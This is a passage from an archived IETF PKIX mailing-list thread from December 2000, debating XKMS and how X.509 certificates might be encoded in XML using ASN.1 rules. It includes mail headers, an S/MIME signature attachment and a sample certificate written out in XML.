	 <anders.rundgren@telia.com>,
        Stephen Kent <kent@bbn.com>, ietf-pkix@imc.org,
        Paul Hoffman / IMC <phoffman@imc.org>
Subject: RE: PKIXML session.  Was: PKIX WG tentative agenda
Date: Fri, 8 Dec 2000 14:45:10 -0800 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
MIME-Version: 1.0
Content-Type: multipart/signed;
	micalg=SHA1;
	boundary="----=_NextPart_000_0014_01C0613E.D9D670F0";
	protocol="application/x-pkcs7-signature"
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

This is a multi-part message in MIME format.

------=_NextPart_000_0014_01C0613E.D9D670F0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Tim,

	I agree, in particular I do not think a protocol that merely 
changes the syntax of certificates would be worthwhile.

	The near term goal of our work has been to ensure that there
is absolutely no excuse for not PKI enabling an application. Using
XKMS it is possible for a device to implement S/MIME based on X.509v3
certificates while treating them as an opaque blob.

	While we can argue about the model in the context of email
clients the argument becomes rather different when we consider wider
application of PKI. Am I expected to cross-certify my refrigerator 
with the cofee maker and toaster? Does my VCR have to establish a
certificate path to the television?

	PKIX is already deployed in many areas and will be the major
force in PKI for some time to come. XKMS is primarily a complimentary
technology. It shields the client from the complexity of the underlying
PKI. It cuts through the Gordian knot of full feature PKI deployment 
being dependent on deployment of full feature client support that 
in turn waits for full feature PKI deployment.

	The objective is to stamp out passwords, not replace PKIX,
at least not for quite a while.

		Phill


> -----Original Message-----
> From: Tim Polk [mailto:tim.polk@nist.gov]
> Sent: Thursday, December 07, 2000 9:32 AM
> To: Anders Rundgren; Stephen Kent; ietf-pkix@imc.org; Paul 
> Hoffman / IMC
> Subject: Re: PKIXML session. Was: PKIX WG tentative agenda
> 
> 
> Anders,
> 
> It is very important that we come to some consensus regarding how 
> X.509-based PKIs can be integrated with XML-based clients.  
> This topic is 
> in my opinion within the scope of our charter.  The PKIX WG 
> has spent a lot 
> of cycles on the list discussing this topic, so there is clearly 
> interest.  It makes sense to deal with it as much as we can 
> during the 
> session.  I deferred this discussion to the end since it will 
> consume any 
> available time.
> 
> This is very different from a session on XML-based PKIs, 
> where ASN.1 is 
> never used.  That is the session I thought you were 
> requesting, and it is 
> well outside our charter.  It is not my role or Steve's to be 
> organizing 
> such a session.  To be honest, I personally believe that XML is an 
> inappropriate encoding format for certificates (public key 
> *or* attribute).
> 
> I am sorry you assumed we wouldn't discuss PKI and XML at all.  The 
> discussion is incomplete if the "loudest PKI-XML proponent" 
> (or opponent) 
> is not present.
> 
> Tim
> 
> At 09:36 AM 12/7/00 +0100, Anders Rundgren wrote:
> >Tim,
> >What you are saying is that there _will_ be some kind of a 
> PKIXML session 
> >(short but something at least)
> >which I have asked Steve K to arrange in and off this list 
> with no success.
> >
> >Unfortunately, I and few others cannot waste their precious 
> time on things 
> >that are decided
> >in the last minute with no previous information. As we have 
> discussed this 
> >subject for a month
> >or so, I am pretty disappointed on how PKIX handled this.  
> OK, maybe it is 
> >a "win" in somebody's
> >view that the loudest PKI-XML proponent (who still insists 
> that this is a 
> >_market_ thing as well) will
> >not be there...
> >
> >Anders
> >
> >
> >
> > > I am projecting a half hour for discussions on XML and 
> PKI.  So far, Phil
> > > has requested time to describe XKMS.  If you would like 
> to present under
> > > this general topic, please send me email.  I will try to 
> get everyone some
> > > time to present their views.
> > >
> > > Thanks,
> > >
> > > Tim Polk
> 

------=_NextPart_000_0014_01C0613E.D9D670F0
Content-Type: application/x-pkcs7-signature;
	name="smime.p7s"
Content-Disposition: attachment;
	filename="smime.p7s"
Content-Transfer-Encoding: base64

MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIINaDCCAj0w
ggGmAhEAulrJTAU7ktantt9O0FOSDTANBgkqhkiG9w0BAQIFADBfMQswCQYDVQQGEwJVUzEXMBUG
A1UEChMOVmVyaVNpZ24sIEluYy4xNzA1BgNVBAsTLkNsYXNzIDIgUHVibGljIFByaW1hcnkgQ2Vy
dGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNOTYwMTI5MDAwMDAwWhcNMDQwMTA3MjM1OTU5WjBfMQsw
CQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xNzA1BgNVBAsTLkNsYXNzIDIgUHVi
bGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwgZ8wDQYJKoZIhvcNAQEBBQADgY0A
MIGJAoGBALZai6MNaiODgGvPOYf0IRMzBkwlou1VEpfFp4C5+oPBIKD6LxUNfKFga355LPoGDzqu
9htvsdL/LyhSX4N9S8R6t/hmH4BU/LfCjllKFFdG0ZqTvkGRA7sVgJNc6+fMCGw/PrNK/P9LbCPV
UIImRBmOI8Nx6hkkRwSedb/IpgAfAgMBAAEwDQYJKoZIhvcNAQECBQADgYEAtgAfk1ekB6dAzmVA
P1Ve7e/6VEmlMNYhfGGH7oOTC7+0M/KYrJ8Gv06ozhSBTMsETljDz1/ufNeab8tBird/gbj/hGHG
J0NlHQzssQAK3Ruku8d4ICiyot02lS7hVE+/YLl3aBGZI+jqUuiqAE5nTruQtUWbRuuOFu/EM1sz
PdUwggNDMIICrKADAgECAhAffl/nA9Hgv5kg3GuJDUsEMA0GCSqGSIb3DQEBBAUAMF8xCzAJBgNV
BAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjE3MDUGA1UECxMuQ2xhc3MgMiBQdWJsaWMg
UHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw05OTAyMjUwMDAwMDBaFw0wNDAxMDUy
MzU5NTlaMIGtMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1
c3QgTmV0d29yazFJMEcGA1UECxNAVXNlIGlzIHN1YmplY3QgdG8gdGVybXMgYXQgaHR0cHM6Ly93
d3cudmVyaXNpZ24uY29tL3JwYS1rciAoYyk5OTEmMCQGA1UEAxMdVmVyaVNpZ24gQ2xhc3MgMiBQ
ZXJzb25uZWwgQ0EwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAKcEbA+icrdKBi741yksNJ2C
vEiRSses+en8uVl4sVXAU1ixz28WO8FJ1cv0bszhzMu1xy5OiKo06bbQW3w+FVc04Ri8/931r2dZ
IArlPeqIikDSmokTKam21dunfuHnNyST/ZR0TXrkMm1M6FwWl6/dktlmihRm5OpaA6g9X/sLAgMB
AAGjgbAwga0wMQYDVR0fBCowKDAmoCSgIoYgaHR0cDovL2NybC52ZXJpc2lnbi5jb20vcGNhMi5j
cmwwEQYJYIZIAYb4QgEBBAQDAgEGMEcGA1UdIARAMD4wPAYLYIZIAYb4RQEHAQEwLTArBggrBgEF
BQcCARYfaHR0cHM6Ly93d3cudmVyaXNpZ24uY29tL3JwYS1rcjAPBgNVHRMECDAGAQH/AgEBMAsG
A1UdDwQEAwIBBjANBgkqhkiG9w0BAQQFAAOBgQB59xXN6GhRWWv8qaa94B77vPQ/kN/n+u3kVPdh
PVSLBrqXMloeqyzur3Orx13TP4/0zstOSGCiqGC2ON6gpvePKegRrMw5dlA83TlsC/Fa/QhUdt0W
bPcxcLi/CPfJJgaO37svGbG2uLToPEjoJ7GXKSBXA5ybZ/p9QMQ4fxiqmjCCA8QwggMtoAMCAQIC
EQCEzvIOADm1dVXaGYePUu2JMA0GCSqGSIb3DQEBBAUAMIGtMRcwFQYDVQQKEw5WZXJpU2lnbiwg
SW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazFJMEcGA1UECxNAVXNlIGlzIHN1
YmplY3QgdG8gdGVybXMgYXQgaHR0cHM6Ly93d3cudmVyaXNpZ24uY29tL3JwYS1rciAoYyk5OTEm
MCQGA1UEAxMdVmVyaVNpZ24gQ2xhc3MgMiBQZXJzb25uZWwgQ0EwHhcNOTkwMjI1MDAwMDAwWhcN
MDQwMTA0MjM1OTU5WjCBrDEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlT
aWduIFRydXN0IE5ldHdvcmsxSTBHBgNVBAsTQFVzZSBpcyBzdWJqZWN0IHRvIHRlcm1zIGF0IGh0
dHBzOi8vd3d3LnZlcmlzaWduLmNvbS9ycGEta3IgKGMpOTkxJTAjBgNVBAMTHFZlcmlTaWduIENs
YXNzIDIgRW1wbG95ZWUgQ0EwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAMCK0YdhouowA1Vr
CDbwl/oaVDUkH+h9ncjDc9PYRvWRLdk47ZTXsCZzKt6XUE3/Ihy9cACYDFgqsaRyj6W59y18YOO1
3+l9TiEhYdX8O1TJpAmcuyL5orpwYU+GRqL9BWTsCj+mWHZXuxZzRHzwpQ2XwGym8WMIJbEEF5Wg
jf5/AgMBAAGjgeIwgd8wKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVByaXZhdGVMYWJlbDEtMTE4
MDgGA1UdHwQxMC8wLaAroCmGJ2h0dHA6Ly9jcmwudmVyaXNpZ24uY29tL1ZTQ2xhc3MySW50LmNy
bDARBglghkgBhvhCAQEEBAMCAQYwRwYDVR0gBEAwPjA8BgtghkgBhvhFAQcBATAtMCsGCCsGAQUF
BwIBFh9odHRwczovL3d3dy52ZXJpc2lnbi5jb20vcnBhLWtyMA8GA1UdEwQIMAYBAf8CAQAwCwYD
VR0PBAQDAgEGMA0GCSqGSIb3DQEBBAUAA4GBABlGztRrcI5YXIhCNa0WfaUJLKhTkPH2PYbX8M5y
FD0ivPLDM+3U/AWa4GMgdaMb71UZDwZzIQJhrqaeUSt43FvIhIvV17bP1fg+l5ixRIujmI6gS/aY
MZOz8AzdUXbKl+RWRMb7lKFIfSJDzKDGXHlV9WeBG2iYNCREsZjBOiheMIIEFDCCA32gAwIBAgIQ
AxTuqrYcesW8jpUyudZ0/DANBgkqhkiG9w0BAQQFADCBrDEXMBUGA1UEChMOVmVyaVNpZ24sIElu
Yy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdvcmsxSTBHBgNVBAsTQFVzZSBpcyBzdWJq
ZWN0IHRvIHRlcm1zIGF0IGh0dHBzOi8vd3d3LnZlcmlzaWduLmNvbS9ycGEta3IgKGMpOTkxJTAj
BgNVBAMTHFZlcmlTaWduIENsYXNzIDIgRW1wbG95ZWUgQ0EwHhcNOTkxMjIwMDAwMDAwWhcNMDAx
MjE5MjM1OTU5WjBsMREwDwYDVQQKEwhWRVJJU0lHTjELMAkGA1UECxMCSFExEzARBgNVBAMTClJl
Y2lwaWVudHMxNTAzBgNVBAMTLHBiYWtlciAoUGhpbGlwIEhhbGxhbS1CYWtlciwgVmVyaVNpZ24s
IEluYy4pMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC3f0kRIy2AU5cHhfnUwuHecFNq6dnf
/wsvxS//4Nt8rFgr2KdvQETKaQ6wGl6mVijB6udZW9dUKVoE1lnu2MMcIhtAL3+Q2dsrxlrTInfq
PKAdxu/Fvb4n3Y0RItW9zh1MzFWZ8Q9z6eF2HuBwG6ANfRzfJgironyftbbitRyaxQIDAQABo4IB
dDCCAXAwCQYDVR0TBAIwADBVBgNVHR8ETjBMMEqgSKBGhkRodHRwOi8vb25zaXRlY3JsLnZlcmlz
aWduLmNvbS9WZXJpU2lnbkluY0V4Y2hhbmdlRW1wbG95ZWVzL0xhdGVzdENSTDALBgNVHQ8EBAMC
BaAwHgYDVR0RBBcwFYETcGJha2VyQHZlcmlzaWduLmNvbTCBrAYDVR0gBIGkMIGhMIGeBgtghkgB
hvhFAQcBATCBjjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cudmVyaXNpZ24uY29tL0NQUzBiBggr
BgEFBQcCAjBWMBUWDlZlcmlTaWduLCBJbmMuMAMCAQEaPVZlcmlTaWduJ3MgQ1BTIGluY29ycC4g
YnkgcmVmZXJlbmNlIGxpYWIuIGx0ZC4gKGMpOTcgVmVyaVNpZ24wEQYJYIZIAYb4QgEBBAQDAgeA
MB0GA1UdJQQWMBQGCCsGAQUFBwMEBggrBgEFBQcDAjANBgkqhkiG9w0BAQQFAAOBgQAaUApBXCjc
mPE5dFPHlQVl4n9WoOU7AE487xxC7vcR1MDhF8p/0GMu6zOyZe9CFVaOndaYCRgv69qKTVoANmsM
F/eFsQn/HaoXEz+jHPNgWcPyBu3dujO9s2PLQbuBXE3rIaDiVyTftVgoNvO0fcknSlNOWxqHvbaH
9RYvhMghkjGCAvgwggL0AgEBMIHBMIGsMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UE
CxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazFJMEcGA1UECxNAVXNlIGlzIHN1YmplY3QgdG8gdGVy
bXMgYXQgaHR0cHM6Ly93d3cudmVyaXNpZ24uY29tL3JwYS1rciAoYyk5OTElMCMGA1UEAxMcVmVy
aVNpZ24gQ2xhc3MgMiBFbXBsb3llZSBDQQIQAxTuqrYcesW8jpUyudZ0/DAJBgUrDgMCGgUAoIIB
jDAYBgkqhkiG9w0BCQMxCwYJKoZIhvcNAQcBMBwGCSqGSIb3DQEJBTEPFw0wMDEyMDgyMjQ2NTNa
MCMGCSqGSIb3DQEJBDEWBBT/G2AO6SH5ZNJB5m1akza3GqVypzBYBgkqhkiG9w0BCQ8xSzBJMAoG
CCqGSIb3DQMHMA4GCCqGSIb3DQMCAgIAgDAHBgUrDgMCBzANBggqhkiG9w0DAgIBKDAHBgUrDgMC
GjAKBggqhkiG9w0CBTCB0gYJKwYBBAGCNxAEMYHEMIHBMIGsMRcwFQYDVQQKEw5WZXJpU2lnbiwg
SW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazFJMEcGA1UECxNAVXNlIGlzIHN1
YmplY3QgdG8gdGVybXMgYXQgaHR0cHM6Ly93d3cudmVyaXNpZ24uY29tL3JwYS1rciAoYyk5OTEl
MCMGA1UEAxMcVmVyaVNpZ24gQ2xhc3MgMiBFbXBsb3llZSBDQQIQAxTuqrYcesW8jpUyudZ0/DAN
BgkqhkiG9w0BAQEFAASBgGPRT1Pcr3CHnAm8Cg914dZjuLEVevgsl1bZu9mh0I+eyQIqCpZmjcvA
ZeyF63nCuuSEijdwGwEAQteleJPassJsT04ZDV+99EJwLWWp+PuaN7lzUheeFwWjJU2VZfuDL+P5
JdsJyXPq7YVf9VuHTJgCr9XxY0WdUSLUkesnXKXsAAAAAAAA

------=_NextPart_000_0014_01C0613E.D9D670F0--



From owner-ietf-pkix@imc.org  Fri Dec  8 17:55:37 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA21998
	for <pkix-archive@odin.ietf.org>; Fri, 8 Dec 2000 17:55:36 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id OAA14357;
	Fri, 8 Dec 2000 14:52:22 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Fri, 8 Dec 2000 14:52:19 -0800
Received: from mail3.microsoft.com (mail3.microsoft.com [131.107.3.123])
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id OAA14326
	for <ietf-pkix@imc.org>; Fri, 8 Dec 2000 14:52:19 -0800 (PST)
Received: from 157.54.9.100 by mail3.microsoft.com (InterScan E-Mail VirusWall NT); Fri, 08 Dec 2000 14:53:09 -0800 (Pacific Standard Time)
Received: by inet-imc-03.redmond.corp.microsoft.com with Internet Mail Service (5.5.2651.58)
	id <YQ1CG8C8>; Fri, 8 Dec 2000 14:53:56 -0800
Message-ID: <C3729BBB6099B344834634EC67DE4AE101507797@red-msg-01.redmond.corp.microsoft.com>
From: Andrew Layman <andrewl@microsoft.com>
To: "'asn1xml@oss.com'" <asn1xml@oss.com>, "'PKIX'" <ietf-pkix@imc.org>
Subject: RE: asn1xml Re: PKIXML session.  Was: PKIX WG tentative agenda
Date: Fri, 8 Dec 2000 14:53:52 -0800 
X-Mailer: Internet Mail Service (5.5.2651.58)
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

I just happened to skim this, and notice that the dates don't fit the
pattern called for by XML Schemas part 2.

-----Original Message-----
From: Phillip H. Griffin [mailto:phil.griffin@asn-1.com]
Sent: Friday, December 08, 2000 12:10 PM
To: 'PKIX'
Cc: asn.1/xml
Subject: asn1xml Re: PKIXML session. Was: PKIX WG tentative agenda


Steven Legg wrote:
> 
> > -----Original Message-----
> > From: Aram Perez [mailto:aram@pacbell.net]
> > Sent: Friday, 8 December 2000 4:25
> > To: PKIX
> > Subject: FW: PKIXML session. Was: PKIX WG tentative agenda
> >
> >
> > Just for fun, I've attached the PKIX example #1 certificate
> > converted from
> > ASN.1 to XML.
> >
> > Enjoy,
> > Aram Perez
> 
> That's one way to encode a certificate in XML, but not a method I find
> particularly appealing. The following XML encoding of the same certificate
> is my best guess (possibly way off) at what represents current thinking on
> the ASN.1 group's XML encoding rules mailing list. I would name the
elements
> in a SET OF or SEQUENCE OF differently, but that is an argument for a
> different forum.

Steven,

I can't speak for everyone involved in the ASN.1/
XML work, but this is a very good guess as to where
we seem to be headed. But there are many particulars 
still to be discussed and resolved and many different
opinions to consider. 

For example, the representation of OID values has
spawned a great deal of discussion. While I have
favored <tag>1.2.3.4</tag> that mimics the notation
used in LDAP, other prefer the ASN.1 value notation
format that you've used below. But there is also some
sentiment for relying on the urn:oid work currently 
being progressed in the IETF, as well as proponents
of the <tag>iso(1) identified-organization(3)</tag>
style format.

And that's just one small issue. The work plan has 
just been announced and is scheduled for 22 January
through 2 February 2001, in Geneva, Switzerland. For
anyone that is interested, they might wish to monitor
the discussion list at asn1xml@oss.com, as the details 
of this work are probably a bit off topic for pkix.

I would comment though that the benefit of this new
notation is obscured somewhat by the examples being
used. Certificates are not very interesting to look
at for most humans in any format and seem to be at 
their best in a small, efficient binary format that
is mechanically processed. Only a few of their parts
have much use as display items. 

These examples do serve to illustrate how verbose tagged
text formats can be. But what will be more beneficial to
consider for ASN.1 users I believe, will be the ability
to generate default ASN.1 specified XML mark up for the 
likes of protocol messages, say perhaps the request and 
response messages specified in tools such as OCSP. 

Phil

> 
> <Certificate>
>   <toBeSigned>
>     <version>
>       v3
>     </version>
>     <serialNumber>
>       17
>     </serialNumber>
>     <signature>
>       <algorithm>
>          { 1 2 840 10040 4 3 }
>       </algorithm>
>     </signature>
>     <issuer>
>       <rdnSequence>
>         <RelativeDistinguishedName>
>           <AttributeTypeAndValue>
>             <type>{ 2 5 4 6 }</type>
>             <value>US</value>
>           </AttributeTypeAndValue>
>         </RelativeDistinguishedName>
>         <RelativeDistinguishedName>
>           <AttributeTypeAndValue>
>             <type>{ 2 5 4 10 }</type>
>             <value>gov</value>
>           </AttributeTypeAndValue>
>         </RelativeDistinguishedName>
>         <RelativeDistinguishedName>
>           <AttributeTypeAndValue>
>             <type>{ 2 5 4 11 }</type>
>             <value>nist</value>
>           </AttributeTypeAndValue>
>         </RelativeDistinguishedName>
>       </rdnSequence>
>     </issuer>
>     <validity>
>       <notBefore>
>         970630000000Z
>       </notBefore>
>       <notAfter>
>         971231000000Z
>       </notAfter>
>     </validity>
>     <subject>
>       <rdnSequence>
>         <RelativeDistinguishedName>
>           <AttributeTypeAndValue>
>             <type>{ 2 5 4 6 }</type>
>             <value>US</value>
>           </AttributeTypeAndValue>
>         </RelativeDistinguishedName>
>         <RelativeDistinguishedName>
>           <AttributeTypeAndValue>
>             <type>{ 2 5 4 10 }</type>
>             <value>gov</value>
>           </AttributeTypeAndValue>
>         </RelativeDistinguishedName>
>         <RelativeDistinguishedName>
>           <AttributeTypeAndValue>
>             <type>{ 2 5 4 11 }</type>
>             <value>nist</value>
>           </AttributeTypeAndValue>
>         </RelativeDistinguishedName>
>       </rdnSequence>
>     </subject>
>     <subjectPublicKeyInfo>
>       <algorithm>
>         <algorithm>{ 1 2 840 10040 4 1 }</algorithm>
>         <parameters>
>           <p>
>             d43802c5357bd50ba17e5d72596355d3
>             4556eae2251a6bc5a4abaa0bd462b4d2
>             21b195a2c601c9c3fa016f7986833d03
>             61e1f192acbc034e89a3c9534af7e2a6
>             48cf421e21b15c2b3a7fbabe6b5af70a
>             26d88e1bebecbf1e5a3f45c0bd3123be
>             6971a7c290fea5d680b524dc449ceb4d
>             f9daf0c8e8a24c99075c8e352b7d578d
>           </p>
>           <q>
>             a7839bf3bd2c2007fc4ce7e89ff33983510ddcdd
>           </q>
>           <g>
>             0e3b46318a0a58864084e3a1220d88ca
>             908857649f0121e01505942482e21090
>             d9e14e105ce7546bd40c2b1b590aa0b5
>             a17db507e3657cea90d88e3042e485bb
>             acfa4e764b780edf6ce5a6e1bd59777d
>             a69759c529a7b33f953e9df1592df742
>             87623ff1b86fc73d4bb88d74c4ca4490
>             cf67dbde1460974ad1f76d9e0994c40d
>           </g>
>         </parameters>
>       </algorithm>
>       <subjectPublicKey>
>         028180aa98ea1394a2dbf15b7f982f78
>         e7d8e3b97186f6802f4039c3da3b4b13
>         4626ee0d56c5a33a39b77d33c26b5c77
>         92f255659039cd1a3c86e132eb25bc91
>         c4ff804f3661bdcce26104e07e6013ca
>         c09cdde0ea41de33c1f144a9bc71decf
>         59d46eda44993c2164e478549dd07bba
>         4ef5184d5e3930bfe0d1f6f483254f14
>         aa71e1
>       </subjectPublicKey>
>     </subjectPublicKeyInfo>
>     <extensions>
>       <Extension>
>           <extnId>
>           { 2 5 29 19 }
>         </extnId>
>         <critical>
>           TRUE
>         </critical>
>         <extnValue>
>           30030101ff
>         </extnValue>
>       </Extension>
>       <Extension>
>         <extnId>
>           { 2 5 29 14 }
>         </extnId>
>         <extnValue>
>           0414e726c554cd5ba36f356895aad5ff1c21e42275d6
>         </extnValue>
>       </Extension>
>     </extensions>
>   </toBeSigned>
>   <algorithmIdentifier>
>     <algorithm>
>       { 1 2 840 10040 4 3 }
>     </algorithm>
>   </algorithmIdentifier>
>   <encrypted>
>     302c0214a066c176339913518d93642f
>     ca1373de791a7d3302145d90f6ce924a
>     bf2911248028a65a8e73b6760268
>   </encrypted>
> </Certificate>
> 
> Regards,
> Steven


From owner-ietf-pkix@imc.org  Fri Dec  8 19:36:30 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA22119
	for <pkix-archive@odin.ietf.org>; Fri, 8 Dec 2000 19:36:29 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id QAA16621;
	Fri, 8 Dec 2000 16:33:11 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Fri, 8 Dec 2000 16:33:03 -0800
Received: from maynard.mail.mindspring.net (maynard.mail.mindspring.net [207.69.200.243])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id QAA16591
	for <ietf-pkix@imc.org>; Fri, 8 Dec 2000 16:33:02 -0800 (PST)
Received: from asn-1.com (user-2ivf73l.dialup.mindspring.com [165.247.156.117])
	by maynard.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id TAA10037;
	Fri, 8 Dec 2000 19:35:11 -0500 (EST)
Message-ID: <3A317EF7.95F8B07A@asn-1.com>
Date: Fri, 08 Dec 2000 19:38:15 -0500
From: "Phillip H. Griffin" <phil.griffin@asn-1.com>
Reply-To: phil.griffin@asn-1.com
Organization: Griffin Consulting  
X-Mailer: Mozilla 4.61 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
To: "'asn1xml@oss.com'" <asn1xml@oss.com>
CC: "'PKIX'" <ietf-pkix@imc.org>
Subject: Re: asn1xml Re: PKIXML session.  Was: PKIX WG tentative agenda
References: <C3729BBB6099B344834634EC67DE4AE101507797@red-msg-01.redmond.corp.microsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 7bit


Andrew Layman wrote:
> 
> I just happened to skim this, and notice that the dates don't fit the
> pattern called for by XML Schemas part 2.

Andrew,

This is part of the reason that an alternative
to our initial schema mapping approach has been 
proposed and why schema mapping has lost some of
its appeal.

But note that the dates do not have to fit any one
particular XML schema. For default mark up generation,
the values need only conform to the date requirements
for ASN.1 values given in X.680. 

What is critical to understand here is that ASN.1
provides a stable schema for values and structure
of data, and that XML mark up can be used to convey
ASN.1 specified values.

I anticipate that after the work is completed on 
default XML tagging, that a facility will be provided
that allows the default ASN.1 generated XML mark up 
to be completely controlled by the user. It seems
that the ECN work has demonstrated that this type
of capability can be provided through a notation
carried in separate files associated with an ASN.1
specification.

This should provide enough flexibility for tools to 
generate whatever format the user desires, including 
partially tagged data, HTML, HTML, XML, XML with DTD,
XML with XML-schema, XML with RELAX, XML with DT4DTD, 
etc. 

With any luck, users should also be able to generate 
plain text encodings and ASN.1 value notation.

Phil

> -----Original Message-----
> From: Phillip H. Griffin [mailto:phil.griffin@asn-1.com]
> Sent: Friday, December 08, 2000 12:10 PM
> To: 'PKIX'
> Cc: asn.1/xml
> Subject: asn1xml Re: PKIXML session. Was: PKIX WG tentative agenda
> 
> Steven Legg wrote:
> >
> > > -----Original Message-----
> > > From: Aram Perez [mailto:aram@pacbell.net]
> > > Sent: Friday, 8 December 2000 4:25
> > > To: PKIX
> > > Subject: FW: PKIXML session. Was: PKIX WG tentative agenda
> > >
> > >
> > > Just for fun, I've attached the PKIX example #1 certificate
> > > converted from
> > > ASN.1 to XML.
> > >
> > > Enjoy,
> > > Aram Perez
> >
> > That's one way to encode a certificate in XML, but not a method I find
> > particularly appealing. The following XML encoding of the same certificate
> > is my best guess (possibly way off) at what represents current thinking on
> > the ASN.1 group's XML encoding rules mailing list. I would name the
> elements
> > in a SET OF or SEQUENCE OF differently, but that is an argument for a
> > different forum.
> 
> Steven,
> 
> I can't speak for everyone involved in the ASN.1/
> XML work, but this is a very good guess as to where
> we seem to be headed. But there are many particulars
> still to be discussed and resolved and many different
> opinions to consider.
> 
> For example, the representation of OID values has
> spawned a great deal of discussion. While I have
> favored <tag>1.2.3.4</tag> that mimics the notation
> used in LDAP, other prefer the ASN.1 value notation
> format that you've used below. But there is also some
> sentiment for relying on the urn:oid work currently
> being progressed in the IETF, as well as proponents
> of the <tag>iso(1) identified-organization(3)</tag>
> style format.
> 
> And that's just one small issue. The work plan has
> just been announced and is scheduled for 22 January
> through 2 February 2001, in Geneva, Switzerland. For
> anyone that is interested, they might wish to monitor
> the discussion list at asn1xml@oss.com, as the details
> of this work are probably a bit off topic for pkix.
> 
> I would comment though that the benefit of this new
> notation is obscured somewhat by the examples being
> used. Certificates are not very interesting to look
> at for most humans in any format and seem to be at
> their best in a small, efficient binary format that
> is mechanically processed. Only a few of their parts
> have much use as display items.
> 
> These examples do serve to illustrate how verbose tagged
> text formats can be. But what will be more beneficial to
> consider for ASN.1 users I believe, will be the ability
> to generate default ASN.1 specified XML mark up for the
> likes of protocol messages, say perhaps the request and
> response messages specified in tools such as OCSP.
> 
> Phil
> 
> >
> > <Certificate>
> >   <toBeSigned>
> >     <version>
> >       v3
> >     </version>
> >     <serialNumber>
> >       17
> >     </serialNumber>
> >     <signature>
> >       <algorithm>
> >          { 1 2 840 10040 4 3 }
> >       </algorithm>
> >     </signature>
> >     <issuer>
> >       <rdnSequence>
> >         <RelativeDistinguishedName>
> >           <AttributeTypeAndValue>
> >             <type>{ 2 5 4 6 }</type>
> >             <value>US</value>
> >           </AttributeTypeAndValue>
> >         </RelativeDistinguishedName>
> >         <RelativeDistinguishedName>
> >           <AttributeTypeAndValue>
> >             <type>{ 2 5 4 10 }</type>
> >             <value>gov</value>
> >           </AttributeTypeAndValue>
> >         </RelativeDistinguishedName>
> >         <RelativeDistinguishedName>
> >           <AttributeTypeAndValue>
> >             <type>{ 2 5 4 11 }</type>
> >             <value>nist</value>
> >           </AttributeTypeAndValue>
> >         </RelativeDistinguishedName>
> >       </rdnSequence>
> >     </issuer>
> >     <validity>
> >       <notBefore>
> >         970630000000Z
> >       </notBefore>
> >       <notAfter>
> >         971231000000Z
> >       </notAfter>
> >     </validity>
> >     <subject>
> >       <rdnSequence>
> >         <RelativeDistinguishedName>
> >           <AttributeTypeAndValue>
> >             <type>{ 2 5 4 6 }</type>
> >             <value>US</value>
> >           </AttributeTypeAndValue>
> >         </RelativeDistinguishedName>
> >         <RelativeDistinguishedName>
> >           <AttributeTypeAndValue>
> >             <type>{ 2 5 4 10 }</type>
> >             <value>gov</value>
> >           </AttributeTypeAndValue>
> >         </RelativeDistinguishedName>
> >         <RelativeDistinguishedName>
> >           <AttributeTypeAndValue>
> >             <type>{ 2 5 4 11 }</type>
> >             <value>nist</value>
> >           </AttributeTypeAndValue>
> >         </RelativeDistinguishedName>
> >       </rdnSequence>
> >     </subject>
> >     <subjectPublicKeyInfo>
> >       <algorithm>
> >         <algorithm>{ 1 2 840 10040 4 1 }</algorithm>
> >         <parameters>
> >           <p>
> >             d43802c5357bd50ba17e5d72596355d3
> >             4556eae2251a6bc5a4abaa0bd462b4d2
